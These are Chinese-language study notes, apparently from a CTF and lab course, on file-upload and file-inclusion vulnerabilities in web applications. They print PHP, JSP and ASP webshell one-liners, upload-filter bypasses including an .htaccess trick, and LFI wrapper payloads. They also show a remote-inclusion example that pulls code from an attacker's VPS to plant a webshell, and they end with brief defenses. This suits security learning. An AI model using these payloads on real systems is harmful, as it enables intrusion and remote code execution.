课程: https://www.bilibili.com/video/BV1VA411u7Tg?p=10
文件上传
一些web应用程序允许上次图片、视频、头像和许多其他类型的文件到服务器中。文件上传漏洞就是利用服务器代码对文件上传路径变量过滤不严格将可执行的文件上传到一个服务器中,再通过URL去访问以执行恶意代码
举例危险代码
一句话木马
<?php eval($_POST[0]);?>
<?php phpinfo();?>
jsp木马
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
这是一条无回显执行系统命令,用来反弹shell
(关于jsp木马:https://www.jianshu.com/p/123db17b78a0)
asp木马
<%execute(request("chopper"))%>
execute 方法从另外一个 ASP 文件中执行 ASP 文件。在被调用的 .asp 文件执行完毕后,控制权会返回原始的 .asp 文件。
(关于asp木马:https://www.cnblogs.com/xiaozi/p/7560907.html)
常用工具
中国蚁剑
菜刀
文件上传的利用
步骤
首先需要绕过服务器上传.php
或者.asp
、.jsp
文件
然后 我们还需要知道将文件上传的路径和文件名
最后通过url访问并执行文件
前端绕过
靶机使用:upload-labs,在BUU的Basic中有,可以直接使用
例如用pass-01,上传一个.php
文件会显示只允许上传.jpg
或者.png
这类的照片文件
有两种方法:
一种是将像上传的.png
文件改后缀名上传,并且用Burp suite抓包,将包里的png改回php再发送,可以上传成功。例如上传的是<?php eval($_POST[0]);?>
,由于原本对上传文件的表达形式是图片所以并不能执行次php文件,但是可以根据收到的包找到文件的路径,然后用url访问这个路径执行此文件就好了。
但是这里报错了,显示没有0这个参数,可以借助蚁剑工具,对这个url进行测试,而<?php eval($_POST[0]);?>
中可以理解位连接密码就是0,然后测试连接,显示连接成功,然后可以添加到数据管理中,在这里双击就能进入对应目录了,而且还可以进入终端
另一种方法比较简单,利用的是客户端绕过 ,就是直接在浏览器中设置禁用js就可以将文件上传成功了(因为这里对上传文件的限制是通过js实现的),当然执行的话依旧是没有执行的,只是pass-01仅要求上传个文件而已
服务器绕过
服务器一般是同content-type进行验证的
例如pass-02
尝试上传一个php文件,跟上面一样用burp suite抓包,发现这里显示了报错,文件类型不正确
这里是服务器使用的content-type进行验证,根据抓到的包里,显示content-7type:application/octet-stream
然后我们可以知道pass-02的码源
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
所以将content-7type
改成可以上传的类型,比如image/jpeg
然后就会发现不报错了
同样可以找到路径直接访问
文件扩展名校验绕过
包括黑名单白名单
其实像上面pass-01就属于白名单,明确了只有png、jpg、gif可以上传
而pass-03是黑名单,禁止上传php、jsp、asp、aspx文件
除此之外还有文件内容头检验(GIF89a)文件幻术检测
或者文件内容检测(检测内容是否合法或者含有恶意代码,二次渲染配合文件包含二次渲染)
像pass-03这种就可以后缀名改为php3、php5这种或者Php、pHp改大小写的也可以上传成功
但是会发现改成php3之后会发现虽然上传成功了,但是并不能执行
这是由于apache的配置文件httpd.conf中有一句是说将php3、php5、php7这些按照php执行,但是这句话可能是被注释了所以导致了php3并没有按照php执行,所以没有达到想要的结果
注意更改配置需要重启才行
然后还有的可以通过双写后缀名绕过、通过不符合win命名规则的例如test.php:1.jpg
这些windows会自动去掉不符合规则符号的后面去掉就可以配合解析漏洞绕过、%00截断,php<5.3.4时,shell.php%00.jpg
可截断%00后面的内容、c语言中的%00、apache中.htaccess
绕过、nginx中/user.ini
绕过
用.htaccess
绕过
例如pass-04
原理时.htaccess
属于配置文件,而对于php网站,在执行时先执行目录下的配置文件,再执行php文件,所以就可以绕过
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//将1.jpg当成php运行
例如burp suite抓包过程中改名字为.htaccess,内容为上述内容
然后再上传一个带shell的1.jpg就可以成功绕过并且按照php运行
内容检测绕过
就是会对内容进行过滤,确保里面不包含<?
、?>
、php
这种
然后可以通过免杀shell
例如再PHP5种就支持<script language=php> @eval($_POST[123]);</script>
常用例子
如果是要读取系统目录找flag的话,就可以用
<?php
$func='syste'.'m';
$arr=array('cat ../f*');
array_map($func,$arr);
FUZZ字典及进行模糊测试
文件包含
常用函数
include()
使用此函数,只有代码执行到此函数时才将文件包含进入,放生错误也只警告并继续执行
include_once()
功能和上面一样,区别在于重复调用同一文件时,程序只调用一次
require()
使用此函数,只要程序执行,立即调用此函数包含文件,有错误会立即停止
require_once()
本地文件包含(LFI)
情况有:
读取敏感文件
利用封装协议读源码,例如?file=php://filter/read=convert.base64-encode/resource=index.php
包含日志文件getshell,通过将文件写入日志文件,例如apache的日志文件路径为/var/log/apache2/access.log
而nginx日志文件在/var/log/nginx/access.log
制作照片木马
php的伪协议
file://协议
php://协议,例如/?file=php://input
,但是这里注意需要服务器配置文件种allow_url_include=on
即允许加载远程文件才行。
例如,ctfshow web-3修改抓到的包如下
data://协议,也是需要allow_url_include=on
,例如/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
这里是利用data协议上传了一条base64编码的命令<?php system("cat flag.php");
或者不通过base64编码/?file=data://text/plain,<?php%20phpinfo();?>
远程文件包含(RFL)
需要php.ini中开启allow_url_include
、allow_url_fopen
例如,远程包含webshell
?arg=http://攻击者的VPS/shell.txt
这种是连接攻击者的服务器,会在网站目录生成名为shell.php的一句话木马
这里shell.txt的内容可以是
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>');
?>
url字符串绕过
可以用双编码,例如,/?file=php://filter/read=convert.%2562ase64-encode/resource
这里是对base的b进行了双编码绕过(b=%62;%=%25;b=%2562)
%00截断
条件:magic_quotes_gpc=off
并且php版本<5.3.4
例
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
浅析php文件包含及其getshell的姿势 - 先知社区 (aliyun.com)
防御
设置allow_url_include=off
;
配置open_basedir=指定目录
,限制访问区域;
过滤../
等特殊符号;
修改apache日志存放地址
开启魔术引号magic_quotes_qpc=on php 4 5
;
尽量不要使用动态变量调用文件,直接写要包含的文件